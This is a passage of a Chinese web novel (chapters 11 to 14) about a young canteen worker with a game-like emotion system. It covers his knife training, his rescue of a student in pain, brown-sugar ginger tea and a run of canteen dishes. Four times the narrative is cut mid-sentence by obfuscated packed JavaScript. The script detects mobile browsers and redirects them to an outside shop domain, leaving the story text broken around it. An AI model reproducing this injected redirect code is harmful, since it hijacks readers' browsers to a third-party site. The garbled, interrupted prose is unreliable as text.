家里的方和平粗犷得很,为数不多的细腻心思全都用在了杨梅香身上,被糊弄着长大的方然从来没有见识过如此精致好看的早点,蒸好的虾饺晶莹剔透微微透出点橙粉的色泽,弹牙鲜嫩的虾仁馅料和外皮的软糯口感结合,入口鲜美脆嫩,口齿生香。 叉烧包就更了不起了,微微爆(口)露出里面的叉烧馅料,一口下去,被馅料油脂浸透的外皮如云朵般绵软却不粘牙,咬破了的叉烧包里面鲜美滚烫的肉汁偷偷溜了出来,方然瞧见了,在肉汁还未滴落的瞬间把剩下的塞进了嘴里,稍稍被烫了一下,但是不舍得将这一口鲜美拒之门外,果然有肉的早点才是开启元气一天的关键。一口气下肚了两个叉烧包,方然还有点意犹未尽,觉得份量实在是少了点,好在还有一大碗鲜虾粥。 鲜虾粥是金黄色的,里面加了些鲜蔬,事先被炒出来的虾油经过长时间的炖煮已经和米粥融为一体了,一口下去除了虾的鲜还有白胡椒的辛,不管是色、香、味全都是登峰造极,一向来不喜欢喝粥的方然都对这粥爱不释口。普通的食材经过神奇的魔法拥有了俘获人心的魔力。 蒸凤爪这种纯纯的肉食,酱色的虎皮很好地勾起了方然的食欲,夹起一只轻轻一嗦一抿,肉带着骨就落入了嘴中,入口即化,带着浓郁的豉汁香气。 虾饺、鲜虾粥的鲜美,叉烧包的甘美,还有蒸凤爪的软糯让方然吃个早饭都吃出了醉陶陶地感觉,这种舒适的感觉让他忍不住摇了摇脑袋,轻轻扭了扭身子,整一个好吃到吃迷糊了。 早饭渐渐进入尾声,还剩下一盘白灼菜心,方然夹起了一根送入嘴中,白灼菜心虽然口感脆嫩,但和之前的甘美咸鲜比起来却显得平平无奇,但正是这平和清淡的味道,很好的给早饭收了个尾。 高潮迭起,回味延绵。 沈师傅笑眯眯地看着方然将早饭都吃完了,问道:“最近有在学什么嘛?” 听了这话方然不太明白,他有什么好学的,不是每天都在切菜打杂嘛? 看方然这样子,沈师傅觉得方然可能听不懂,换了种问法:“刀工最近学到哪了?” 方然看沈师傅的笑容快要端不住了,小心说道:“切土豆?” 听了方然的话,沈师傅的笑容瞬间垮掉,头顶的小太阳立马换成了一朵小乌云。切土豆,那不就还在学习直刀切嘛?心中不由得开始抱怨三餐的小李是怎么做事的?之前在他面前把方然夸成了良材美玉,结果每天都在虚度光阴?基础刀工都还没学完? 真是人才的浪费!还是大大的浪费! 11. 初学刀工 方然去三餐上班的时候,身边跟着个一餐的沈师傅。 沈师傅因为年纪大了在一餐早就不上灶了,更何况一餐现在有自己完备的运行机制,沈师傅不在也能很好的安排好所有事情。导致沈师傅整一个就是来去自如。 沈师傅到三餐的时候,李师傅还吓了一跳,忙上来打招呼:“沈师傅,怎么有空来我们三餐了,来指导指导我们工作?” 沈师傅在员工面前还是给李师傅留面子的:“小李你的工作哪还用的上指导,三餐现在做得越来越好了,我就是来看看。” “行行行,沈师傅你慢慢看,让方然陪着,有事喊我啊。”食堂的工作上午超级繁忙,一环扣一环,都耽误不起时间,在三餐向来亲力亲为的李师傅可比沈师傅忙多了。 “没事,忙你的去。”沈师傅应付完李师傅,转过头看着方然,明明是温和的笑容却让方然不由自主打了个寒战。 感觉,要遭! 等方然再站到自己的案板前准备切土豆丝的时候,沈师傅不知道从哪里摸出了一把长尺子,或者准确地说是“戒尺”,毕竟现在长尺子的功能就是戒尺的功能。 两只手背在背后,拿着戒尺的那只手,稳定地打着节拍,戒尺的一端轻轻地敲上沈师傅的背,像是在按摩,但是轻微又有节奏的声音一下下敲到方然的心上,给了很大的压迫力。 方然知道,这戒尺落到自己身上那就不叫按摩了,可能是叫“狂风暴雨”般地摧残。 拿出自己的毕生所学,想要好好地度过这一劫。方然沉吸一口气,握住自己的刀,拿过一个土豆。 手起,刀还未落。 “啪!”戒尺毫不留情地打到了方然的背上。 虽然不是很痛,但是吓了一跳,方然:“??” “头、肩、背、腰,还有你的重心,脚的位置都不对!”温和的沈师傅也是会变得严厉的,尤其是在一些基本功上面。[注1] “可是?切菜难道不是这样嘛?”方然不解问,心里想着可能自己又是学了个假手艺。 沈师傅看着一脸疑问的方然,不禁想要扶额。再想起一餐切菜的食堂阿姨们那随意的动作,他大概是懂了,并没有人系统地教过方然刀工。 一想到之后A大餐饮集团可能会去参加的青年厨师赛,沈师傅也有点着急了。青年厨师赛年龄限制为三十岁,是国内厨师们扬名的好平台,以前都是各大御厨世家、厨艺名门的赛场,不过因为现在餐饮发展的多元化问题,已经按照单位来自主报名了,给远赴国外学厨归来的新厨师们空间。 而一直被戏称为全国“第九菜系”的各大食堂单位,这几年也一直被各大厨师比赛邀请,今年各大学的食堂单位正有意向报名参加明年的青年厨师赛,尤其是各农业大学的食堂,摩拳擦掌,准备一鸣惊人。他们虽然技艺上可能达不到高峰,但是在食材上却是拥有得天独厚的优势,最新的农学成果总是被他们最早地搬上餐桌。 都是当厨师的,自然也知道食材的重要性。 而且食堂单位们也是有自己的心思的,如果取得不错的成绩,以后大中小学生食堂招标的时候会更有优势,有助于集团的扩张,毕竟A大餐饮集团还想变成A市餐饮集团呢,一字之差,业绩百倍。 A大的校领导对此事也分外关注,毕竟食堂要是出了名的好吃,也会在新生招生上带来优势,尤其是在一些优势差距不大的学科上,地理因素、校园环境、伙食差距等等其它因素的影响力就成了非常大的推动力。 而让A大餐饮集团尴尬的是,整个集团三十岁以下的目前就方然一个人。招工通知一挂来应聘的、乌压压的都是大伯大姨们,好不容易想出个招管培生的点子,先培养培养再走管理路线,结果也没人看得上啊。 招了许久就一个方然,是明日的希望了。 沈师傅叹了一口气,把戒尺放下了,去摸了一根黄瓜,拿过方然的菜刀,从站立姿势、握刀姿势、直刀切能产生的各种形态、能应用到的各种菜肴都给详细地讲述了一遍。[注2] 在食堂工作过了几天的方然早已不是一张白纸了,将坏习惯扭转过来往往要比新学者付出更多的注意力。看得沈师傅不住地唉声叹气,心里面把李师傅骂了个狗血淋头。 从方然的领悟力来看确实是难得一见的好苗子,沈师傅越稀材越对李师傅的糊弄教学显得不满,不过再仔细想想也不能怪李师傅,之后可能要去参加青年厨师塞的事情只有他和沈经理知道。 方然这一整天都在沈师傅眼神的监督下、戒尺的威胁下,切完土豆切黄瓜、切完黄瓜切胡萝卜,食材无穷无尽,一刻都不能停歇,等终于让沈师傅满意后,系统的声音响起。 “叮,检测到玩家已学习刀工基础,解锁【刀工】量化指标。” 打开系统面板,系统中多了一栏。 玩家:方然 情绪值:-66.7542w 菜谱:干炒牛河 刀工:0 其它:待解锁 一个赤裸裸的“0”让方然非常无语,新解锁出来的玩意儿都在不住地告诉方然,他的归宿就是当厨子。 好在今天的刀工练习还是非常有效果的,涨得情绪值比以往都多,努力还是有回报的! 要是手能够不抖就更好了。 在食堂解决了晚饭,又帮忙收拾了一下后厨的方然总算下班了,下了班的他没有急着回家,毕竟还有一朵闪电大乌云压在他的心上。他准备去操场上碰碰运气。 按照他之前看见闪电大乌云的三个场所,第一次是他家楼下的街道,第二次是操场,第三次是在食堂。第一次可能只是随机时间经过,第三次今天没有在食堂发现她,反而第二次的可能性最大。 很多喜欢夜跑的人,都是规律运动,基本上如果没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607140|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么特殊的事情,他们都会在差不多的时间点去夜跑。 而方然,今晚就准备去当那个守株待兔的人。 蹲在操场大露台拐角处的阴影里,方然看着一圈圈在绕圈的闪电大乌云,陷入了深深的沉思: 该,如何,搭讪呢? 难住他了。 导致他看着人家跑了一圈又一圈,感觉马上就要跑完结束夜跑了,发现闪电大乌云又能有什么办法,总不能上去就说:“同学!你的心理情况出问题了!我是来拯救你的!” 八成被人当做神经病。 方然就只能盯着闪电大乌云再绕圈,然后离自己越来越近,然后停下来了。 停下来了? 还不等方然想多少,他就发现这人好像有点不对劲,捂住腹部开始往下蹲,身体还摇摇摆摆的,这不会是要出事了吧。 碰到这种事情,方然来不及想太多,蹿到闪电大乌云身边就问:“同学?你没事吧?同学?” 看对方疼到勉强地说着“没事”,气若游丝,又借着操场中央大灯的光,可以看见女生面色惨白,还不住的小幅颤抖。方然觉得这可不能叫“没事”! 看着离这边不到四百米的校医室,大手臂裹住蹲着的女生就是一个冲刺,在其他同学还没反应过来的时候,只留下了一个飞奔的背影。 校医室夜晚也有值班医生,方然像个小旋风一样破门而入的时候,把里面摸着手机想要水过无聊的值班时光的女医生吓了一大跳,紧张地从椅子上蹦起来,一边心中暗叹“倒霉”,一边急急忙忙上前检查情况。 郑清越从来没有想过竟会发生如此丢脸的事情,她只是没注意到过两天是要来生理期的日子,剧烈运动后生理期肚子疼“预告”提前了,一下子没顶住。这是她身体比较特殊的小小问题,会提早一两天开始隐隐约约肚子疼,这次只不过比较夸张。 然后被不明事宜的陌生男同学抱住就一个冲刺,在校医室又碰上校医急切地询问。 郑清越涨红了脸,头顶灰色的情绪值围绕原来的数值开始波动,吓得方然屏气凝神,就怕出事。好在只是小小的往下跳了几个点,吃个几盘干炒牛河就能救回来了。 郑清越拉住校医,附在她耳边小声地解释了几句。 校医面上的神色放缓,觑了方然一眼道:“没啥大事,当人男朋友就知道瞎着急,也不知道多关心关心女朋友,现在的男孩子啊就是不仔细。” 话音刚落,方然和郑清越直接闹了两个大红脸,方然小心翼翼地看了一样郑清越,不由得想钻到地底下去,这个开局显然不怎么好。 校医看郑清越实在是痛得受不了,给开了一片止痛药,让方然去拿药,还让方然把办公室的热水壶带了出去,帮她在药房边上打壶热水回来,等下可以调成温水给郑清越服药。 当然,这也是校医被方然惊吓后的小小“惩罚”。 12. 红糖姜茶 方然和郑清越是在校医阿姨的各种打趣声中落荒而逃的,中年人就特别爱开小年轻的玩笑,就算一直表示不是情侣,但是人家也会自动忽略掉这种信息,反而以为你们是不好意思,是在暧昧期。 所以郑清越一吃完药,刚感觉不痛了,就和校医道谢告辞了。 然而药根本就还没有起作用,等方然也出校医室,在不远处的地上,又看见了郑清越弓身弯在那里。 也不好就这么看着,上前问:“要不要坐会儿?” 路边有着校园特有的木制长凳。 郑清越无法,在受苦和嘴硬之间纠结了一下,还是选择对自己好一点,点了点头。 方然现在也不好意思的很,之前是特殊情况,所以直接抱了就跑了,现在只能各种小心翼翼地伸出绅士手,想要给郑清越借力。 郑清越两只手却捂住肚子,两只脚绵软到迈不动步子,已经准备好接受方然的好意,结果现在看着方然这么磨磨唧唧,在疼痛的不理智情绪支配下,略微有点口不择言:“抱都抱过了!你在意什么啊?我都不在意!” 方然呆了,一时不知所措。 这话说出了口,郑清越反应过来又开始后悔,支支吾吾开始道歉:“对不起,我不是这个意思,我语气不好。” “没事没事。”方然一边说,一边用手掌箍住郑清越,连拖带抱把人弄到了长凳上。 夜晚的风有点点冷,方然能够感觉到刚刚郑清越有点微微的颤抖,他尽量用身子挡一下夜风。 两人是静默的,郑清越弯着腰,捂着肚子,面朝地面,随着药效开始有了一点点作用,思维又开始重新运转:“今天谢谢你啊,你先回去吧,我一个人在这边缓会儿。” 方然挠了挠头,也知道今天这事情其实还是自己太莽了:“没事没事,是我没搞明白状况,我家就后门出去那个肉夹馍店,你不也得后门回宿舍嘛。顺路的顺路的。”方然也不知道他在说什么,但是他一看见郑清越头上的闪电大乌云,就是各种放不下心。 郑清越虽然不明白这个人为什么一定要顺路“送”她回去,但是还是能够感受到他的好意,腾出一只手有点艰难的打开了自己的微信二维码,递了过去:“我们加个联系方式,过几天我请你吃饭道谢。” 快乐就是那么简单。方然之前还想着要如何搭讪搞到联系方式,现在就出现在了他的眼前,麻溜地掏出自己的手机,扫码,输入名字,发送请求,一气呵成。 郑清越也不是矫情的人,立马就通过了。 加上联系方式的方然,感觉自己拯救闪电大乌云的进度向前迈进了一大步,心中不由成就感爆棚,一激动,一上头,就想起了刚刚校医阿姨的“红糖姜茶”、“乌骨鸡汤”等等补身体,尤其是补生理期身体的好材料,嘴巴上也秃噜了出来,带着一点不容拒绝的语气:“等下我给你煮一锅红糖姜茶!” 郑清越:“??” 最后还是没有拗过方然,盛情难却之下,不知怎么回事,郑清越就坐在了方然家的肉夹馍店里,看着方然开始炖红糖姜茶,心里面把之前想着人均两百的答谢餐规格拉高到了人均四百。她实在是怕欠别人,但是方然实在是太热情了,这种被重视的感觉又让她有点点喜欢。 红糖姜茶对每一位女生来说都不陌生,但是对于郑清越来说却很陌生,从来都没有人给她烧过红糖姜茶,以前不是硬抗就是吃止痛药,她也想试试。 得益于和郑清越有着相同烦恼的杨梅香同志每年都会在新红糖上市的时候去屯上两大桶土法红糖,所以方然家的红糖不少,而且品质相当的不错。 煮红糖姜茶的方法很简单,之前方和平在家里没少煮,方然自然也是会的。拿一个小奶锅,放入饮用水、红糖还有切成片的生姜,生姜可以稍微多放点,吃起来能明显感到丝丝辛辣气,就能够有效驱寒了。至于红糖,不仅能增加甜味,而且一直以来都被认为是有效的保健品,虽然不知道到底补补血,但是放点总没错。 方然煮了不少,当锅里面沸腾后飘出阵阵辛辣气息的时候,他就先拿了个杯子给郑清越先倒了一杯,放到她的面前,剩下的再炖一会儿,准备拿个新的保温杯给她装了带回去。 郑清越现在肚子其实并不怎么痛了,她两手环着马克杯,手指头在杯壁上摩挲,盯着缕缕飘起的水汽:“谢谢。”这是带有十分的真诚,而不是之前的略微客套。 在翻保温杯的方然并不觉得这是个什么大事,对他来说其实更多的是随手一帮,更何况之前的莽撞他也有点难为情,心里也想弥补:“这算啥啊,喝吧喝吧。” 刚刚翻出杨梅香同志去各大地推活动凑热闹蹭回来的各式保温杯的方然一抬头看向郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607141|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清越正准备喝,也想知道自己这个红糖姜茶做得行不行,结果就看见郑清越喝了一口后,头顶的情绪直猛涨一百。 惊得他抬头看了一眼自己的情绪值,也涨了一百。 这人!好大方! 方然又回想起了上次猛涨一百情绪值的时候,那天在食堂郑清越也出现了,想到这,再看上郑清越的目光不由带上了震惊,更带上了一点点热切。 这是唯一一位能给一百情绪值的人! 刚喝了一口觉得自己身体暖起来了,心情放松了点的郑清越一抬头对上了方然震惊又热切的眼神,心中不由有点发毛,试探着说:“挺,挺好喝的?” 方然缓过神来,收敛了自己的神情,转而换上笑容:“那就好那就好,明天还给你烧。”这个人吃一顿有一百情绪值,三顿就是三百!这种性价比超高的事情,他绝对不能错过! 郑清越:“??”热情得让她现在有点点害怕了,强装镇定地喝完一杯红糖姜茶,又被方然塞了一保温杯红糖姜茶,一边道谢一边落荒而逃。 回到寝室后,想来想去想不明白,这人怎么对她这么好,但是吃了他的东西,她好像挺快乐的? 打开保温杯又来了两口,看着这个还印着某某银行的保温杯,郑清越想着明天到底要不要洗干净还回去? 隔天早上起来的方然是快乐着并且痛苦着的,昨天被压着练了许久许久的刀工,情绪值涨了一大截,再加上昨天晚上大户郑清越的一百点,他真的满意得不得了。 要是胳膊不是那么酸痛难耐就好了。 昨天还是略微脱力的感觉,睡了一觉之后则觉得这胳膊简直不是自己的了。 方然在洗手间里洗漱,刚刚开封了一管新的牙膏。按照他特有的开封仪式,左手捏住饱满的牙膏,右手不住颤抖着拿着一只牙刷,像所有牙膏广告里面一样,挤出一条圆润饱满,长度和牙刷头一样长的牙膏,左手再轻轻地往上一提,一个牙膏勾出现了。 就算是颤抖的手也挡不住方然的完美发挥。 心里还没得意两下,右手又是不住地颤抖了两下。 “吧唧。” 方然看着掉在水槽里摔得不再饱满的牙膏,牙刷上还零星地带着点牙膏,愤而重新随意挤了一点,开始刷牙。 这倒霉的早晨肯定会导致倒霉的一天! 13. 腌小萝卜 果不其然,一踏进三餐的门,一堆人正准备吃早饭了,而里面沈师傅的身影是那么的显眼。 今日的早饭有些不同,昨日下班的时候李师傅就招待大家要来吃早饭,因为有一款即将推出的新品,需要大家品鉴。 那就是——腌小萝卜! 不是萝卜干,也不是萝卜条,就是腌小萝卜。 这小萝卜是食堂于阿姨老家的特产,于阿姨能成为三餐的情报人员,自然有她的本事,除了自来熟,消息敏锐度高外,和她会做人也是分不开的。 经常会带着什么特产这送点那送点,而这个小萝卜就是于阿姨中秋节回家后带回来的,送了李师傅一罐,李师傅简直惊为天人,吃完就委托于阿姨采购了一批,于阿姨直接申请了一笔交通经费,坐高铁去老家搞了一批回来。 速度就是这么快,因为于阿姨老家就是隔壁隔壁市的县城,地铁一小时,高铁半小时,公交半小时,来回也就半天。 今天上午就是要投票,要不要把这个小萝卜加入到早餐小菜中。李师傅一向有上进心,就连配粥小菜都会花心思。 而沈师傅,今天准备继续抓方然练刀工,顺便也来试试这个小萝卜,厨师对新奇的食物总是有一种迷之追求的。 一堆人食堂大叔、食堂阿姨每个人都在餐盘上打了一碗白粥,然后团团围了过来,等着李师傅分小萝卜。 餐桌上已经摆着整整五坛腌小萝卜了,这小萝卜装在塑料罐中,洁白似白玉般的小萝卜挤挤挨挨又整整齐齐地码在里面,每一根都洁白无须,无什么凹凸,看着形状色泽就让人觉得可吃。 一开坛子,酸甜中带着点辣,属于腌制菜品特有的味道从坛子里蹿了出来,闻到这味儿方然唾液止不住地开始分泌。 分到方然小碟里的是两根小萝卜,从来都没有见过如此迷你的萝卜,方然觉得新奇得很。 找地方坐下后,沈师傅也坐到了一桌,然后李师傅也跟了过来。 方然觉得他压力好大啊。 大家都没有什么寒暄的意思,注意力都被这个萝卜先吸引住了, 方然先喝了一口绵软清淡的白粥,让白粥的热流放松一下自己的身体和精神,唤醒新一天的元气。 然后再用筷子夹起小萝卜,乌黑的筷子和洁白的萝卜形成了颜色上的鲜明对比,咬上一口“夸擦”。 这清脆的口感! 带着点点辛辣的酸甜汁水从小萝卜里迸了出来,一下子就抓住了方然的胃口。 再看咬断的截面处,小萝卜的肉质是洁白又细嫩。 李师傅看大家埋头喝粥吃小萝卜的样子,就知道这个小菜成了!心里已经开始盘算等下找厂商要如何压价,卖萝卜又要如何定价了。 等大家吃完早饭,再开始七嘴八舌地讨论了起来,于阿姨看着大家对自己家乡特产的喜爱,面上简直有光,笑容一直都没有停过。 李师傅也直接站起来宣布,这个月要给于阿姨一个特别贡献奖,奖金为一千块钱,鼓励三餐员工再接再厉,更加努力,做好本职工作的同时,也不要忘记丰富食堂的菜单! 这话让方然脑子里不断地蹦出“干炒牛河”、“干炒牛河”、“干炒牛河”。说来奇怪,四餐打冲锋的就是粤菜,但是就是不卖干炒牛河,不过这种都是大师傅的事情,总有他们自己的理由。 方然上午的刀工日常是基础刀工,但是倒了下午就开始练习各种各样的荤菜,一块里脊肉就让他的手掌光荣负伤了。 为什么还有这么不是人的刀法,叫做“平刀切法”。 一手压着肉,一手拿菜刀和案板平齐,片过去。一不小心,方然的手上就划了道口子。 看着唉声叹气颇有一点难受的沈师傅,方然觉得自己仿佛犯下了什么大罪,明明自己只是拿着四千块钱名叫“管培生”,实则“切菜工”的食堂底层小工啊,为什么要承受这种刀工训练?! 但是沈师傅略微花白的头发,又让他为自己的想法感到羞愧。 莫名其妙,但就是感觉有点辜负沈师傅了。 负伤了的手暂且不太好练习平刀切了,这时候李师傅拿着一个盆过来,喊方然:“方然!大小伙子,来把这盆蛋清打发了!” 一个铁盆里面装了三分之一盆蛋清,李师傅还递过来两根筷子,很明显这就是打发蛋清的工具了,连个打蛋器都没有配,是非常常见的中年人打蛋的作风。 方然接过筷子,一开始打还不甚熟练,但是过了几分钟后,筷子上下飞舞,带起来的蛋清出了不少的白色沫沫。 李师傅泡了两杯茶过来,一杯递给沈师傅,一杯自己喝,还用腿拉了两个塑料凳子和沈师傅一起坐下来,看着方然工作。 李师傅吹吹了茶面,将茶叶吹到另一头去,才“吸溜”一下颇为自在地喝上了一口,然后才说道:“这个打得啊叫做蛋泡糊,雪绵豆沙知道伐?” 一旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607142|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈师傅笑而不语的样子必然是知道的,而方然听都没听说过。 李师傅也没想得到方然的回应,自顾自说道:“我们以前学厨师苦啊,上门当学徒都得把师父当爹一样孝顺,这都是可以吃饭的手艺,没那么好学的,想上门当学徒还得找关系。我师父的要求是,新入门的学徒每天必须打上一份蛋泡糊,雷打不动的先打上个两年,才开始教手艺。” 才打了几分钟,方然的手已经酸痛难耐了,忍不住问道:“李师傅,这蛋泡糊得打成啥样啊。” 李师傅凑过来看了一眼铁盆:“早着呢,继续打。”喝了口茶,又开始继续讲,“把无油无水的蛋清全都打得发起来,筷子立上去不会倒才行。学手艺难着呢!” 一旁的沈师傅不由得笑笑,看李师傅的眼神带着一点点不认同,这人也不怕把方然吓跑了。老实说,他这两天还是挺满意方然的表现的,虽然因为有事情压在心上不由得表现得过于急切,偶尔神色带出了点不满意,但李师傅用这一招“折磨”方然他也是没想到的。 打蛋泡糊是极费力气的事情,很久以前,一直都是东北厨师们的噩梦,属于闻之色变的那种。但按照现在的厨房小家电的发展,打蛋泡糊只需用用奶油打发器就可以成功了,完全没必要再用人工打,可能是因为这道菜给很多厨师们留下的阴影过重,很多厨师就是不愿意做也不想做这道菜了,导致这道菜的名气越来越小。 也不知道今日李师傅为何兴起要做一做这道菜。 方然的筷子已经使出残影来了,全凭意志力撑着。然而铁盆里的蛋清才刚刚开始质变,白色的沫沫越来越多堆积了起来有了一点点的支撑力。 等最后能把筷子在铁盆里立起来的时候,方然觉得胳膊已经不是自己的了,脱力、酸痛,还不住得颤抖。 真不知道,他惹了谁?这几天为何如此遭罪! 这一点蛋泡糊对李师傅来说显然是不够用的,李师傅又掏出了一个铁盆,往里面打蛋清,看得方然怕得要死。 再来一遭,他可真的受不住了啊。 在方然害怕瑟缩的目光下,李师傅从下面的柜子里掏出了一个手持奶油打发器,随着机器震动的声音,蛋清以极其快的速度转换成了蛋泡糊。 方然:“??”他就不明白了,明明可以机器打,为什么还要他人工打?李师傅要是对他有什么不满意,直说啊! 看向李师傅的眼神不由得开始闪起了小火花。 14. 香藕一号 也不知道李师傅今日为何要做这个雪绵豆沙,方然看着步骤就觉得这玩意儿不简单,很是要点功夫的。 李师傅拿过已经打好的蛋泡糊,往里面加了些土豆粉面粉调和了一下,将早就准备好的豆沙馅料上也裹上薄薄的一层粉。烧热锅后,放入一大团雪白细腻的猪油,等猪油化了油温升高了一些,用筷子夹住一个豆沙团均匀裹上一层蛋泡糊,圆溜溜地放进了油锅里,一个个小团子从李师傅的筷子上成型。 李师傅拿着个勺子往小团子上面慢慢淋油,一个个团子漂浮着还会滴溜溜地慢慢转着,非常懂事的在油锅里给自己四面八方都炸得透透的,努力成为最好吃的一颗小团子。 炸好的雪绵豆沙不像其它的炸物一样泛着金黄色,还是那么白白的、绵绵的、软软的。 方然摸了一双筷子出来,就等李师傅一声令下了。 李师傅觑了方然一眼,将一大盆炸好的雪绵豆沙拿到就餐区,开始等待,就是不发话。 “爸!”食堂门口传来一声女声,循着声音看过去,是一位文静的女孩子正朝这边走来,后面还跟着一个高瘦的男生提着一大麻袋的东西。 方然看见男生眼睛一亮,抬手招呼道:“刘向杰!” 高瘦男生听见声音,立马眼睛一亮,看到了方然,也略微兴奋:“然哥!” 方然本科期间,宿舍是四人一间的,大学毕业后一个寝室四个兄弟们各奔东西,寝室的老大哥俞安考上了编制,现在正在乡下努力带货创收,寝室的老小宋文致是个富三代,回了沪都老家,折腾着搞创业。还有一个就是刘向杰了,略微奇葩,计算机转农学,要搞什么“数字农业”、“智慧养殖”啥的。本科毕业后直接考了农大的研究生,农大在A市的郊区,圈了一大片的地,又养猪又种粮食种菜的,校内还有专门的学生厨房,给同学们一个动手烹饪自己种的粮食的机会。 同一个寝室住了四年,大家都互相之间有了不少了解,就算刘向杰一年四季都穿着双夏日凉拖,显得像贫穷到买不起鞋子,整个冬天只穿一件北面的黑色羽绒服,里面是件破洞的短袖,但是这也不能磨灭掉他是有一张私行卡的人!据说他家是在舟岛有渔场的,虽然这个传言他一直都没有肯定也没有否认,但是方然觉得就算不是“场”那大概率也是个“厂”,是会让方然流泪的富裕。 方然低头观察了一下刘向杰的脚,竟然换上了三叶草的贝壳鞋!边上还有一双三叶草的鞋子再走动,是和他一起来的女生。 八成,有情况啊。 一旁的李师傅看见女儿李木子的开心神色再看到刘向杰后,瞬间脸黑,李木子和刘向杰之间那种略带情谊,时不时冒点粉红泡泡的氛围,让李师傅更加不满了。 李木子面色柔和沉静非常自然地走了过来,对着李师傅又喊了一声,边上的刘向杰一脸讪笑,另一只空着的手捏着手机还想去挠一挠后脑勺。 李师傅大大白了一眼刘向杰,没好气说道:“行了,东西放下来坐吧。” 刘向杰将麻袋一提,准备往桌子上放。 “哎!你放地上啊!桌子上有吃得啊。木不木啊,那么大个人了。”李师傅看着刘向杰没啥好气。转头看向一脸有点不赞同神色的女儿,不由得弱了点气势:“哎,囡囡,你不是说今天就你一个人来嘛?爸爸给你做了你最爱吃的雪绵豆沙,来来来,坐下来吃。” 李师傅拿了双筷子递给李木子。 “这袋莲藕太重了,导师说让向杰和我一起来。”李木子接过筷子夹雪绵豆沙的时候还解释了一句,吃到雪绵豆沙后,愉悦地眯起了眼睛。 李木子吃上后,李师傅也示意大家动筷了,方然一马当先,白白绵绵的雪绵豆沙表面还沾着晶莹的白糖颗粒,入嘴后,先是白糖的清甜,再然后是软软嫩嫩的雪绵外皮,咀嚼中,里面包裹着的甜度正好的细腻的红豆馅料,带着红豆和猪油、白糖一起融合过后特有的香甜气息在口腔中回荡。 食堂们的大叔阿姨过来看了看是雪绵豆沙,摇摇头就走了,让方然特别不理解,这么好吃的东西咋还看不上呢? 沈师傅也没有动筷子,看着方然有点不解的神色笑着解释道:“高油高糖,年纪大了,不敢吃喽。” 消灭一大盆雪绵豆沙的主力军就是李木子和方然,剩下还有一个束手束脚、对着李师傅面带讨好的刘向杰。 奈何李师傅的父爱实在是太沉重了,一大盆雪绵豆沙三个年轻人的努力也只吃掉了一半,最后剩下的装到三个打包盒里,方然、李木子和刘向杰一人一个。 吃完了东西,才开始谈起了正事。 刘向杰带过来的那个大麻袋可算是上了桌子,扒拉开来,里面是还裹着泥的莲藕。 “爸爸,这个是香藕一号。新品种,老师说弄一麻袋过来让你试试,看看适合炒的还是煮的,这个藕既不粉也不脆,煮着吃不拉丝,炒着吃又不够脆嫩,但是藕香很浓。”李木子一边从麻袋里抽出一整根藕,特别的长,一个藕节是其它藕节的一倍那么长。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607143|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李木子白色的手掌被莲藕上的泥沾染上了,有些刺目,李师傅和刘向杰不约而同地去拿她手里的藕,这对未来可能会成为翁婿的男人一交手,又一交眼,在李师傅劈里啪啦冒火的眼神下,刘向杰委委屈屈地退避了。 看得一旁的方然都有些害怕了,岳父可真是难以招架! 李师傅拿过这个藕,细细地观察了一下,还徒手掰开了一截,肉质洁白细腻,渗出些微湿润的汁液,带着充沛的藕香。 “行吧,我这两天研究研究怎么烧好吃,就这个藕味就差不了。”李师傅刚说完话,就看见李木子背着包站了起来一副要走的样子,刘向杰也跟着站了起来。 “囡囡,这就准备走了?”李师傅惊讶道。 “对啊,去郊区要两小时啊,现在走还能赶着回学校吃晚饭,吃完晚饭还要开组会啊。” “行吧。”李师傅还能拦着小孩不上进不学习嘛,将两盒雪绵豆沙让李木子和刘向杰带回去,剩下的一盒自然就归了方然。 李师傅的下午就是围着那麻袋藕转了,什么小炒藕丁、糖醋藕片、凉拌藕片、桂花糯米糖藕一道道地端上桌子。 炸货上面莲藕丸子、酥脆藕夹、香煎藕饼也没少。 还有最经典的莲藕排骨汤。 